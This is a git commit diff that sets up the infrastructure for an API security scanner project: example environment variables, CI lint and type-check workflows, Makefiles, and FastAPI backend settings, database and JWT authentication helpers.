This commit is contained in:
CarterPerez-dev 2025-11-10 13:31:29 -05:00
parent 02e8d891da
commit 7b0a43aaea
78 changed files with 15167 additions and 0 deletions

View File

@ -0,0 +1,85 @@
# ⒸAngelaMos | 2025
# ---------------------------------------------
# API Security Scanner - Environment Variables
# Copy this file to .env and update the values
# Application Settings
APP_NAME="API Security Tester"
VERSION="1.0.0"
DEBUG=true
# Security
# IMPORTANT: Generate a secure random key for production!
# Example: openssl rand -hex 32
SECRET_KEY=your-secret-key-change-this-in-production
ALGORITHM=HS256
ACCESS_TOKEN_EXPIRE_MINUTES=1440
# Database (PostgreSQL)
# For local development (outside Docker)
POSTGRES_USER=apiuser
POSTGRES_PASSWORD=apipass
POSTGRES_DB=apisecurity
POSTGRES_HOST=localhost
POSTGRES_PORT=5432
# Database URL (overridden by docker-compose for container networking)
DATABASE_URL=postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@${POSTGRES_HOST}:${POSTGRES_PORT}/${POSTGRES_DB}
# Backend API
BACKEND_HOST=0.0.0.0
BACKEND_PORT=8000
# CORS Origins (comma-separated for multiple origins)
# Include both direct Vite dev server (5173) and nginx proxy (80)
CORS_ORIGINS=http://localhost:5173,http://localhost:3000,http://localhost
# Frontend API URL
# When using Docker with nginx: http://localhost/api
# When running Vite directly (npm run dev): http://localhost:8000
VITE_API_URL=http://localhost/api
# ---------------------------------------------
# Docker Host Port Mappings
# ---------------------------------------------
# Change these if you have port conflicts on your host machine
# Format: HOST_PORT:CONTAINER_PORT (only HOST_PORT is configurable)
HOST_DB_PORT=5432
HOST_BACKEND_PORT=8000
HOST_FRONTEND_PORT=5173
HOST_NGINX_PORT=80
# Uncomment for production HTTPS:
# HOST_NGINX_HTTPS_PORT=443
# ---------------------------------------------
# Scanner Configuration
# ---------------------------------------------
# Default maximum requests for scans
DEFAULT_MAX_REQUESTS=100
DEFAULT_TIMEOUT_SECONDS=10
DEFAULT_RETRY_COUNT=3
# Scanner rate limiting (outgoing requests to target)
SCANNER_RATE_LIMIT_THRESHOLD=100
SCANNER_RATE_LIMIT_WINDOW_SECONDS=60
# Scanner timeouts and connection limits
SCANNER_MAX_CONCURRENT_REQUESTS=50
SCANNER_CONNECTION_TIMEOUT=30
SCANNER_READ_TIMEOUT=30
# Scanner request spacing and timing
DEFAULT_JITTER_MS=100
DEFAULT_RETRY_WAIT_SECONDS=60
DEFAULT_BASELINE_SAMPLES=10
# Field Validation Constants
PASSWORD_MIN_LENGTH=8
PASSWORD_MAX_LENGTH=100
EMAIL_MAX_LENGTH=255
URL_MAX_LENGTH=2048
# Production Settings (optional, uncomment for prod)
# DEBUG=false
# CORS_ORIGINS=https://yourdomain.com
# VITE_API_URL=https://api.yourdomain.com

View File

@ -0,0 +1,120 @@
name: ESLint Check
on:
pull_request:
branches: [ '*' ]
paths:
- 'frontend/**/*.ts'
- 'frontend/**/*.tsx'
- 'frontend/eslint.config.js'
- 'frontend/tsconfig*.json'
- 'frontend/package.json'
- '.github/workflows/eslint-check.yml'
jobs:
eslint-check:
name: ESLint TypeScript Check
runs-on: ubuntu-latest
permissions:
pull-requests: write
contents: read
defaults:
run:
working-directory: frontend
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
cache: 'npm'
cache-dependency-path: frontend/package-lock.json
- name: Install dependencies
run: npm install
- name: Run ESLint
id: eslint_check
run: |
echo "Running ESLint on TypeScript/React files..."
if npm run lint:eslint > eslint-output.txt 2>&1; then
echo "ESLINT_PASSED=true" >> $GITHUB_ENV
echo "✅ No ESLint errors found!"
echo "ERROR_COUNT=0" >> $GITHUB_ENV
else
echo "ESLINT_PASSED=false" >> $GITHUB_ENV
# Count error lines (lines that contain file paths with problems)
error_count=$(grep -c "^/" eslint-output.txt || echo "0")
echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV
echo "⚠️ ESLint found issues in $error_count files!"
fi
cat eslint-output.txt
continue-on-error: true
- name: Create ESLint Summary
id: create_summary
if: github.event_name == 'pull_request'
run: |
{
echo '## 🔍 ESLint Results'
echo ''
if [[ "${{ env.ESLINT_PASSED }}" == "true" ]]; then
echo '### ✅ **Perfect! No ESLint issues found** 🎉'
echo ''
echo 'Your TypeScript and React code follows all the coding standards perfectly!'
echo ''
echo '**What was checked:**'
echo '- TypeScript strict type checking and stylistic rules'
echo '- React component patterns and hooks usage'
echo '- Code complexity, naming conventions, and best practices'
echo '- Accessibility (jsx-a11y) and React Refresh compatibility'
else
echo '### ❌ **ESLint found issues in ${{ env.ERROR_COUNT }} files**'
echo ''
echo 'Please review and fix the TypeScript/React issues below:'
echo ''
echo '<details><summary>📋 View detailed ESLint output</summary>'
echo ''
echo '```'
head -100 eslint-output.txt
echo '```'
echo '</details>'
echo ''
echo '**How to fix:**'
echo '1. Run `cd frontend && npm run lint:eslint` locally to see the issues'
echo '2. Fix the reported TypeScript, React, and code quality problems'
echo '3. For auto-fixable issues: `cd frontend && npx eslint . --ext .ts,.tsx --fix`'
echo '4. Push your changes to update this PR'
fi
echo ''
echo '**Commands:**'
echo '- `cd frontend && npm run lint:eslint` - Run ESLint'
echo '- `cd frontend && npx eslint . --ext .ts,.tsx --fix` - Auto-fix issues'
echo '- ESLint config: `frontend/eslint.config.js`'
echo ''
echo '<!-- eslint-check-comment-marker -->'
} > eslint-report.md
- name: Post PR Comment
if: github.event_name == 'pull_request'
uses: peter-evans/create-or-update-comment@v4
with:
issue-number: ${{ github.event.pull_request.number }}
body-path: frontend/eslint-report.md
edit-mode: replace
- name: Exit with proper code
run: |
if [[ "${{ env.ESLINT_PASSED }}" == "false" ]]; then
echo "❌ ESLint checks failed. Please fix the issues above."
exit 1
else
echo "✅ All ESLint checks passed!"
exit 0
fi

View File

@ -0,0 +1,156 @@
name: Lint & Type Check
on:
pull_request:
branches: [ '*' ]
workflow_dispatch:
jobs:
lint:
name: Run Linters
runs-on: ubuntu-latest
permissions:
pull-requests: write
contents: read
defaults:
run:
working-directory: backend
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Cache pip dependencies
uses: actions/cache@v4
with:
path: ~/.cache/pip
key: ${{ runner.os }}-pip-${{ hashFiles('backend/pyproject.toml') }}
restore-keys: |
${{ runner.os }}-pip-
- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install -e ".[dev]"
- name: Run pylint
id: pylint
run: |
echo "Running pylint..."
if pylint . > pylint-output.txt 2>&1; then
echo "PYLINT_PASSED=true" >> $GITHUB_ENV
echo "✅ No pylint errors found!"
else
echo "PYLINT_PASSED=false" >> $GITHUB_ENV
echo "⚠️ Pylint found issues!"
fi
cat pylint-output.txt
continue-on-error: true
- name: Run ruff
id: ruff
run: |
echo "Running ruff check..."
if ruff check . > ruff-output.txt 2>&1; then
echo "RUFF_PASSED=true" >> $GITHUB_ENV
echo "✅ No ruff errors found!"
else
echo "RUFF_PASSED=false" >> $GITHUB_ENV
echo "⚠️ Ruff found issues"
fi
cat ruff-output.txt
continue-on-error: true
- name: Run mypy
id: mypy
run: |
echo "Running mypy..."
if mypy . > mypy-output.txt 2>&1; then
echo "MYPY_PASSED=true" >> $GITHUB_ENV
echo "✅ No mypy errors found"
else
echo "MYPY_PASSED=false" >> $GITHUB_ENV
echo "⚠️ Mypy found issues"
fi
cat mypy-output.txt
continue-on-error: true
- name: Create Lint Summary
id: create_summary
if: github.event_name == 'pull_request'
run: |
{
echo '## 🔍 Lint & Type Check Results'
echo ''
# Pylint Status
if [[ "${{ env.PYLINT_PASSED }}" == "true" ]]; then
echo '### ✅ Pylint: **Passed**'
echo 'No pylint issues found.'
else
echo '### ⚠️ Pylint: **Issues Found**'
echo '<details><summary>View pylint output</summary>'
echo ''
echo '```'
head -100 pylint-output.txt
echo '```'
echo '</details>'
fi
echo ''
# Ruff Status
if [[ "${{ env.RUFF_PASSED }}" == "true" ]]; then
echo '### ✅ Ruff: **Passed**'
echo 'No ruff issues found.'
else
echo '### ⚠️ Ruff: **Issues Found**'
echo '<details><summary>View ruff output</summary>'
echo ''
echo '```'
head -100 ruff-output.txt
echo '```'
echo '</details>'
fi
echo ''
# Mypy Status
if [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then
echo '### ✅ Mypy: **Passed**'
echo 'No mypy issues found.'
else
echo '### ⚠️ Mypy: **Issues Found**'
echo '<details><summary>View mypy output</summary>'
echo ''
echo '```'
head -100 mypy-output.txt
echo '```'
echo '</details>'
fi
echo ''
# Overall Summary
if [[ "${{ env.PYLINT_PASSED }}" == "true" ]] && [[ "${{ env.RUFF_PASSED }}" == "true" ]] && [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then
echo '---'
echo '### All checks passed!'
else
echo '---'
echo '### Review the issues above and consider fixing them.'
fi
echo ''
echo '<!-- lint-check-comment-marker -->'
} > ../lint-report.md
- name: Post PR Comment
if: github.event_name == 'pull_request'
uses: peter-evans/create-or-update-comment@v4
with:
issue-number: ${{ github.event.pull_request.number }}
body-path: lint-report.md
comment-marker: lint-check-comment-marker

View File

@ -0,0 +1,129 @@
name: TypeScript Type Check
on:
pull_request:
branches: [ '*' ]
paths:
- 'frontend/**/*.ts'
- 'frontend/**/*.tsx'
- 'frontend/tsconfig*.json'
- 'frontend/package.json'
- '.github/workflows/typescript-check.yml'
jobs:
typescript-check:
name: TypeScript Type Check
runs-on: ubuntu-latest
permissions:
pull-requests: write
contents: read
defaults:
run:
working-directory: frontend
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
cache: 'npm'
cache-dependency-path: frontend/package-lock.json
- name: Install dependencies
run: |
for i in {1..3}; do
echo "Attempt $i of 3..."
if npm install; then
echo "✅ npm install succeeded"
break
else
echo "⚠️ npm install failed, retrying in 10 seconds..."
sleep 10
fi
done
- name: Run TypeScript type checking
id: typescript_check
run: |
echo "Running TypeScript type checking..."
if npm run lint:types > typescript-output.txt 2>&1; then
echo "TYPESCRIPT_PASSED=true" >> $GITHUB_ENV
echo "✅ No TypeScript type errors found!"
echo "ERROR_COUNT=0" >> $GITHUB_ENV
else
echo "TYPESCRIPT_PASSED=false" >> $GITHUB_ENV
# Count error lines (lines that contain errors)
error_count=$(grep -c "error TS" typescript-output.txt || echo "0")
echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV
echo "⚠️ TypeScript found $error_count type errors!"
fi
cat typescript-output.txt
continue-on-error: true
- name: Create TypeScript Summary
id: create_summary
if: github.event_name == 'pull_request'
run: |
{
echo '## 📝 TypeScript Type Check Results'
echo ''
if [[ "${{ env.TYPESCRIPT_PASSED }}" == "true" ]]; then
echo '### ✅ **Perfect! No TypeScript type errors found** 🎉'
echo ''
echo 'Your TypeScript code passes all strict type checking requirements!'
echo ''
echo '**What was checked:**'
echo '- Strict type checking with `exactOptionalPropertyTypes`'
echo '- No unused locals or parameters'
echo '- Proper return types and void expressions'
echo '- Module resolution and import/export syntax'
else
echo '### ❌ **TypeScript found ${{ env.ERROR_COUNT }} type errors**'
echo ''
echo 'Please review and fix the TypeScript type errors below:'
echo ''
echo '<details><summary>📋 View detailed TypeScript output</summary>'
echo ''
echo '```'
head -100 typescript-output.txt
echo '```'
echo '</details>'
echo ''
echo '**How to fix:**'
echo '1. Run `cd frontend && npm run lint:types` locally to see the type errors'
echo '2. Fix the reported TypeScript type issues'
echo '3. Ensure all variables have proper types and return types are explicit'
echo '4. Push your changes to update this PR'
fi
echo ''
echo '**Commands:**'
echo '- `cd frontend && npm run lint:types` - Run TypeScript type checking'
echo '- `cd frontend && npm run build` - Run full build with type checking'
echo '- TypeScript config: `frontend/tsconfig.app.json`'
echo ''
echo '<!-- typescript-check-comment-marker -->'
} > typescript-report.md
- name: Post PR Comment
if: github.event_name == 'pull_request'
uses: peter-evans/create-or-update-comment@v4
with:
issue-number: ${{ github.event.pull_request.number }}
body-path: frontend/typescript-report.md
edit-mode: replace
- name: Exit with proper code
run: |
if [[ "${{ env.TYPESCRIPT_PASSED }}" == "false" ]]; then
echo "❌ TypeScript type checking failed. Please fix the type errors above."
exit 1
else
echo "✅ All TypeScript type checks passed!"
exit 0
fi

50
api-security-scanner/.gitignore vendored Normal file
View File

@ -0,0 +1,50 @@
# ⒸAngelaMos | 2025
# Gitignore - This is where you list files/folders that
# should not be publicly commited to the remote repository
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
venv/
env/
ENV/
.venv
*.cache
*.egg-info
# FastAPI
.env
.env.local
# Database
*.db
*.sqlite3
# IDEs
.vscode/
.idea/
*.swp
*.swo
# Node/Frontend
node_modules/
dist/
build/
.DS_Store
# Logs
*.log
# Testing
.pytest_cache/
.coverage
htmlcov/
# Docker
.dockerignore
# OS
Thumbs.db

View File

@ -0,0 +1,57 @@
# Makefile
# ⒸAngelaMos | 2025
# Alias commands to easily run commands (use this or package.json scripts)
.PHONY: help dev dev-build dev-down dev-logs prod prod-build prod-down prod-logs clean clean-all
help:
@echo "API Security Scanner - Available Commands"
@echo "=========================================="
@echo ""
@echo "Development:"
@echo " make dev - Start development environment"
@echo " make dev-build - Build and start development environment"
@echo " make dev-down - Stop development environment"
@echo " make dev-logs - View development logs (follow mode)"
@echo ""
@echo "Production:"
@echo " make prod - Start production environment (detached)"
@echo " make prod-build - Build and start production environment"
@echo " make prod-down - Stop production environment"
@echo " make prod-logs - View production logs (follow mode)"
@echo ""
@echo "Cleanup:"
@echo " make clean - Stop all containers and remove volumes"
@echo " make clean-all - Clean + remove all Docker images/cache"
@echo ""
dev:
docker compose -f docker-compose.dev.yml up
dev-build:
docker compose -f docker-compose.dev.yml up --build
dev-down:
docker compose -f docker-compose.dev.yml down
dev-logs:
docker compose -f docker-compose.dev.yml logs -f
prod:
docker compose -f docker-compose.prod.yml up -d
prod-build:
docker compose -f docker-compose.prod.yml up --build -d
prod-down:
docker compose -f docker-compose.prod.yml down
prod-logs:
docker compose -f docker-compose.prod.yml logs -f
clean:
docker compose -f docker-compose.dev.yml down -v
docker compose -f docker-compose.prod.yml down -v
clean-all: clean
docker system prune -af --volumes

View File

@ -0,0 +1,47 @@
# ⒸAngelaMos | 2025 | CarterPerez-dev
[style]
based_on_style = pep8
column_limit = 70
indent_width = 4
continuation_indent_width = 4
indent_closing_brackets = false
dedent_closing_brackets = true
indent_blank_lines = false
spaces_before_comment = 2
spaces_around_power_operator = false
spaces_around_default_or_named_assign = true
space_between_ending_comma_and_closing_bracket = false
space_inside_brackets = false
spaces_around_subscript_colon = true
blank_line_before_nested_class_or_def = false
blank_line_before_class_docstring = false
blank_lines_around_top_level_definition = 2
blank_lines_between_top_level_imports_and_variables = 2
blank_line_before_module_docstring = false
split_before_logical_operator = true
split_before_first_argument = true
split_before_named_assigns = true
split_complex_comprehension = true
split_before_expression_after_opening_paren = false
split_before_closing_bracket = true
split_all_comma_separated_values = true
split_all_top_level_comma_separated_values = false
coalesce_brackets = false
each_dict_entry_on_separate_line = true
allow_multiline_lambdas = false
allow_multiline_dictionary_keys = false
split_penalty_import_names = 0
join_multiple_lines = false
align_closing_bracket_with_visual_indent = true
arithmetic_precedence_indication = false
split_penalty_for_added_line_split = 275
use_tabs = false
split_before_dot = false
split_arguments_when_comma_terminated = true
i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']
i18n_comment = ['# Translators:', '# i18n:']
split_penalty_comprehension = 80
split_penalty_after_opening_bracket = 280
split_penalty_before_if_expr = 0
split_penalty_bitwise_operator = 290
split_penalty_logical_operator = 0

View File

@ -0,0 +1,154 @@
# CertGames Backend Makefile
# 2025 | ©AngelaMos
PYTHON := python
.DEFAULT_GOAL := dev
MAKEFLAGS += --no-print-directory
.PHONY: help dev install reinstall check fix mypy clean tree TODO pylint
define ASCII
@echo "\033[35m"
@echo " ⡋⣡⣴⣶⣶⡀⠄⠄⠙⢿⣿⣿⣿⣿⣿⣴⣿⣿⣿⢃⣤⣄⣀⣥⣿"
@echo " ⢸⣇⠻⣿⣿⣿⣧⣀⢀⣠⡌⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⣿⣿"
@echo " ⢸⣿⣷⣤⣤⣤⣬⣙⣛⢿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡍⠄⠄⢀⣤⣄⠉"
@echo " ⣖⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⢇⣿⣿⡷⠶⠶⢿⣿⣿⠇⢀"
@echo " ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣷⣶⣥⣴"
@echo " ⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿"
@echo " ⣦⣌⣛⣻⣿⣿⣧⠙⠛⠛⡭⠅⠒⠦⠭⣭⡻⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠄"
@echo " ⣿⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠄⠄⠄⠹⠈⢋⣽⣿⣿⣿⣿⣵⣾"
@echo " ⣿⣿⣿⣿⣿⣿⣿⣿⠄⣴⣿⣶⣄⠄⣴⣶⠄⢀⣾⣿⣿⣿⣿⣿⣿⠃⠄⠄"
@echo " ⠈⠻⣿⣿⣿⣿⣿⣿⡄⢻⣿⣿⣿⠄⣿⣿⡀⣾⣿⣿⣿⣿⣛⠛⠁"
@echo " ⠄⠄⠈⠛⢿⣿⣿⣿⠁⠞⢿⣿⣿⡄⢿⣿⡇⣸⣿⣿⠿⠛⠁⠄"
@echo " ⠄⠄⠄⠄⠄⠉⠻⣿⣿⣾⣦⡙⠻⣷⣾⣿⠃⠿⠋⠁⠄"
@echo "\033[0m"
endef
help:
@echo "\033[1;91mC\033[1;92me\033[1;93mr\033[1;94mt\033[1;95mG\033[1;96ma\033[1;91mm\033[1;92me\033[1;93ms\033[0m \033[1;94mBackend\033[0m \033[1;95mTesting\033[0m \033[1;96mCommands\033[0m"
@echo "\033[1;5;93m==============================================\033[0m"
@echo ""
@echo "\033[1;4;96mSetup:\033[0m"
@echo " \033[92mmake \033[36minstall-dev\033[0m \033[94m- Install development dependencies\033[0m"
@echo " \033[92mmake \033[36mreinstall\033[0m \033[94m- Reinstall all dependencies with upgrades\033[0m"
@echo ""
@echo "\033[1;4;91mSyntax Checking (Ruff):\033[0m"
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Check all code for syntax issues\033[0m"
@echo "\033[1;4;91mSyntax Fixing (Ruff):\033[0m"
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Fix all code of syntax issues\033[0m"
@echo ""
@echo "\033[1;4;94mType Checking (mypy):\033[0m"
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Type check all code\033[0m"
@echo "\033[1;4;94mFormat:\033[0m"
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Format code\033[0m"
@echo ""
@echo "\033[1;4;92mUtilities:\033[0m"
@echo " \033[92mmake \033[36mclean\033[0m \033[94m- Remove all cache files\033[0m"
@echo " \033[92mmake \033[36mtree\033[0m \033[94m- Display the file tree\033[0m"
@echo " \033[92mmake \033[36mTODO\033[0m \033[94m- Find All TODO \033[0m"
@echo ""
@echo "\033[1;93mCurrent default domain: \033[1;5;95m$(DOMAIN)\033[0m"
@echo ""
@echo "\033[1;4;93mAvailable domains:\033[0m"
@echo " \033[91maccount\033[0m, \033[92mcommunity\033[0m, \033[93mcontent\033[0m, \033[94mfreemium\033[0m, \033[95mgames\033[0m,"
@echo " \033[96mmarketing\033[0m, \033[91mprogression\033[0m, \033[92mshop\033[0m, \033[93mtesting\033[0m, \033[94mtools\033[0m"
@echo ""
@echo "\033[95m ------------------------------"
@echo "\033[34m ⣿⣿⣿⡷⠊⡢⡹⣦⡑⢂⢕⢂⢕⢂⢕⢂⠕⠔⠌⠝⠛⠶⠶⢶⣦⣄⢂⢕⢂⢕"
@echo "\033[34m ⣿⣿⠏⣠⣾⣦⡐⢌⢿⣷⣦⣅⡑⠕⠡⠐⢿⠿⣛⠟⠛⠛⠛⠛⠡⢷⡈⢂⢕⢂"
@echo "\033[34m ⠟⣡⣾⣿⣿⣿⣿⣦⣑⠝⢿⣿⣿⣿⣿⣿⡵⢁⣤⣶⣶⣿⢿⢿⢿⡟⢻⣤⢑⢂"
@echo "\033[36m ⣾⣿⣿⡿⢟⣛⣻⣿⣿⣿⣦⣬⣙⣻⣿⣿⣷⣿⣿⢟⢝⢕⢕⢕⢕⢽⣿⣿⣷⣔"
@echo "\033[36m ⣿⣿⠵⠚⠉⢀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣗⢕⢕⢕⢕⢕⢕⣽⣿⣿⣿⣿"
@echo "\033[36m ⢷⣂⣠⣴⣾⡿⡿⡻⡻⣿⣿⣴⣿⣿⣿⣿⣿⣿⣷⣵⣵⣵⣷⣿⣿⣿⣿⣿⣿⡿"
@echo "\033[36m ⢌⠻⣿⡿⡫⡪⡪⡪⡪⣺⣿⣿⣿⣿⣿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃"
@echo "\033[32m ⠣⡁⠹⡪⡪⡪⡪⣪⣾⣿⣿⣿⣿⠋⠐⢉⢍⢄⢌⠻⣿⣿⣿⣿⣿⣿⣿⣿⠏⠈"
@echo "\033[32m ⡣⡘⢄⠙⣾⣾⣾⣿⣿⣿⣿⣿⣿⡀⢐⢕⢕⢕⢕⢕⡘⣿⣿⣿⣿⣿⣿⠏⠠⠈"
@echo "\033[32m ⠌⢊⢂⢣⠹⣿⣿⣿⣿⣿⣿⣿⣿⣧⢐⢕⢕⢕⢕⢕⢅⣿⣿⣿⣿⡿⢋⢜⠠⠈"
@echo "\033[95m ------------------------------"
@echo "\033[0m"
venv:
@echo "Creating and initializing virtual environment in .venv..."
@python3 -m venv .venv
# If you use bash, change @zsh
# can also run as just 'make'
dev:
@zsh -c "source .venv/bin/activate && exec zsh"
$(call ASCII)
# ==================== Setup ====================
install:
@echo "Installing development dependencies..."
pip install -e ".[dev]"
reinstall:
@echo "Reinstalling all dependencies (including upgrades)..."
pip install -e ".[dev]" --upgrade --upgrade-strategy eager
$(call ASCII)
# ==================== Syntax Checking (Ruff) ====================
check:
@echo "\033[1;3;4;96m======== Checking All Code ========\033[0m"
@ruff check .
$(call ASCII)
# ==================== Syntax Checking (Ruff) ====================
fix:
@echo "\033[1;3;4;96m======== ruff fix All Code ========\033[0m"
@ruff check . --fix
$(call ASCII)
# ======================= In Depth Linting (pylint)=======================
pylint:
@echo "\033[1;3;4;96m======== Linting All Code ========\033[0m"
@pylint .
$(call ASCII)
# ======================= Type Checking (mypy) =======================
mypy:
@echo "\033[1;3;4;96m======== Type Checking All Code ========\033[0m"
@mypy .
$(call ASCII)
# ======================== Yapf Format =============================
format:
@echo "\033[1;3;4;96m======== Formatting only qa/ ========\033[0m"
@yapf -i -r -vv models/ repositories/ schemas/ scanners/ core/ factory/
$(call ASCII)
# ==================== Utilities ====================
clean:
@echo "\033[1;3;4;96m======== Cleaning Cache Files ========\033[0m"
find . -type f -name "*.pyc" -delete
find . -type d -name "__pycache__" -delete
find . -type d -name ".pytest_cache" -exec rm -rf {} + 2>/dev/null || true
find . -type d -name ".mypy_cache" -exec rm -rf {} + 2>/dev/null || true
find . -type d -name ".ruff_cache" -exec rm -rf {} + 2>/dev/null || true
find . -type f -name ".coverage" -delete
$(call ASCII)
tree:
@echo "\033[1;3;4;96m======== Creating Tree ========\033[0m"
@tree -I 'node_modules|.git|*.log|dist|build|*.cache|certgames.egg-info|context|.venv|*.env|qa_context'
$(call ASCII)
TODO:
@echo "\033[1;3;4;96m======== Looking for TODO's ========\033[0m"
@find . -name "*.py" -print0 | xargs -0 pylint --disable=all --enable=W0511 --msg-template='{path}:{line}:{column}: {msg_id}: {msg} ({symbol})' || true
$(call ASCII)

View File

@ -0,0 +1,4 @@
"""
AngelaMos | 2025
API Security Scanner Backend Package
"""

View File

@ -0,0 +1,103 @@
"""
AngelaMos | 2025
All environment variables and constants are centralized here
"""
from functools import lru_cache
from pydantic_settings import BaseSettings, SettingsConfigDict
class Settings(BaseSettings):
"""
Application settings loaded from environment variables.
All magic numbers and configuration values are defined here to avoid
hardcoding throughout the application.
"""
model_config = SettingsConfigDict(
env_file="../.env", env_file_encoding="utf-8", case_sensitive=True
)
# Application metadata
APP_NAME: str = "API Security Tester"
VERSION: str = "1.0.0"
DEBUG: bool = False
# Database configuration
DATABASE_URL: str
POSTGRES_USER: str = "apiuser"
POSTGRES_PASSWORD: str = "apipass"
POSTGRES_DB: str = "apisecurity"
POSTGRES_HOST: str = "localhost"
POSTGRES_PORT: int = 5432
# Security - JWT
SECRET_KEY: str
ALGORITHM: str = "HS256"
ACCESS_TOKEN_EXPIRE_MINUTES: int = 1440 # 24 hours
# Backend server
BACKEND_HOST: str = "0.0.0.0"
BACKEND_PORT: int = 8000
# CORS origins (comma-separated string)
CORS_ORIGINS: str = "http://localhost:5173,http://localhost:3000"
# Scanner configuration - Default values
DEFAULT_MAX_REQUESTS: int = 100
DEFAULT_TIMEOUT_SECONDS: int = 10
DEFAULT_RETRY_COUNT: int = 3
# Scanner rate limiting (outgoing requests)
SCANNER_RATE_LIMIT_THRESHOLD: int = 100
SCANNER_RATE_LIMIT_WINDOW_SECONDS: int = 60
# API endpoint rate limiting (incoming requests - slowapi format)
API_RATE_LIMIT_LOGIN: str = "5/minute"
API_RATE_LIMIT_REGISTER: str = "3/minute"
API_RATE_LIMIT_SCAN: str = "10/minute"
API_RATE_LIMIT_DEFAULT: str = "100/minute"
# Pagination
DEFAULT_PAGINATION_LIMIT: int = 100
MAX_PAGINATION_LIMIT: int = 1000
# Field validation constants
PASSWORD_MIN_LENGTH: int = 8
PASSWORD_MAX_LENGTH: int = 100
EMAIL_MAX_LENGTH: int = 255
URL_MAX_LENGTH: int = 2048
# Scanner timeouts and limits
SCANNER_MAX_CONCURRENT_REQUESTS: int = 50
SCANNER_CONNECTION_TIMEOUT: int = 30
SCANNER_READ_TIMEOUT: int = 30
# Scanner request spacing and timing
DEFAULT_JITTER_MS: int = 100
DEFAULT_RETRY_WAIT_SECONDS: int = 60
DEFAULT_BASELINE_SAMPLES: int = 10
@property
def cors_origins_list(self) -> list[str]:
"""
Convert comma separated CORS origins string to list
"""
return [origin.strip() for origin in self.CORS_ORIGINS.split(",")]
@lru_cache
def get_settings() -> Settings:
"""
Get cached settings instance.
The @lru_cache decorator ensures settings are loaded only once
and cached for the application lifetime.
Returns:
Settings: Application settings instance
"""
return Settings()
settings = get_settings()

View File

@ -0,0 +1 @@
"""Core modules for application infrastructure"""

View File

@ -0,0 +1,39 @@
"""
Database configuration and session management using SQLAlchemy.
"""
from collections.abc import Generator
from sqlalchemy import create_engine
from sqlalchemy.orm import Session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base
from ..config import settings
# Database engine
engine = create_engine(
settings.DATABASE_URL,
pool_pre_ping = True,
echo = settings.DEBUG,
)
# Session factory
SessionLocal = sessionmaker(
autocommit = False,
autoflush = False,
bind = engine
)
# Base class
Base = declarative_base()
def get_db() -> Generator[Session, None, None]:
"""
FastAPI dependency for database sessions
"""
db = SessionLocal()
try:
yield db
finally:
db.close()

View File

@ -0,0 +1,46 @@
"""
FastAPI dependency injection functions.
"""
from fastapi import (
Depends,
HTTPException,
status,
)
from fastapi.security import (
HTTPAuthorizationCredentials,
HTTPBearer,
)
from .security import decode_token
# HTTP Bearer token authentication
security = HTTPBearer()
async def get_current_user(
credentials: HTTPAuthorizationCredentials = Depends(security),
) -> str:
"""
FastAPI dependency to extract and
verify the current authenticated user.
"""
try:
payload = decode_token(credentials.credentials)
email: str | None = payload.get("sub")
if email is None:
raise HTTPException(
status_code = status.HTTP_401_UNAUTHORIZED,
detail = "Invalid authentication credentials",
headers = {"WWW-Authenticate": "Bearer"},
)
return email
except ValueError:
raise HTTPException(
status_code = status.HTTP_401_UNAUTHORIZED,
detail = "Invalid authentication credentials",
headers = {"WWW-Authenticate": "Bearer"},
) from None

View File

@ -0,0 +1,35 @@
"""
Enum definitions for the application for type safety
"""
from enum import Enum
class ScanStatus(str, Enum):
"""
Enum for scan result status
"""
VULNERABLE = "vulnerable"
SAFE = "safe"
ERROR = "error"
class Severity(str, Enum):
"""
Enum for vulnerability severity levels
"""
CRITICAL = "critical"
HIGH = "high"
MEDIUM = "medium"
LOW = "low"
INFO = "info"
class TestType(str, Enum):
"""
Enum for available security test types
"""
RATE_LIMIT = "rate_limit"
AUTH = "auth"
SQLI = "sqli"
IDOR = "idor"

View File

@ -0,0 +1,74 @@
"""
Security utilities for password hashing and JWT token management.
"""
from datetime import (
datetime,
timedelta,
)
from jose import JWTError, jwt
from passlib.context import CryptContext
from config import settings
# Password hashing
pwd_context = CryptContext(schemes = ["bcrypt"], deprecated = "auto")
def hash_password(password: str) -> str:
"""
Hash a plain text password using bcrypt
"""
return pwd_context.hash(password)
def verify_password(
plain_password: str,
hashed_password: str
) -> bool:
"""
Verify a plain text password against a hashed password
"""
return pwd_context.verify(plain_password, hashed_password)
def create_access_token(
data: dict[str,
str],
expires_delta: timedelta | None = None
) -> str:
"""
Create a JWT access token
"""
to_encode = data.copy()
if expires_delta:
expire = datetime.utcnow() + expires_delta
else:
expire = datetime.utcnow() + timedelta(
minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES
)
to_encode.update({"exp": expire})
encoded_jwt = jwt.encode(
to_encode,
settings.SECRET_KEY,
algorithm = settings.ALGORITHM
)
return encoded_jwt
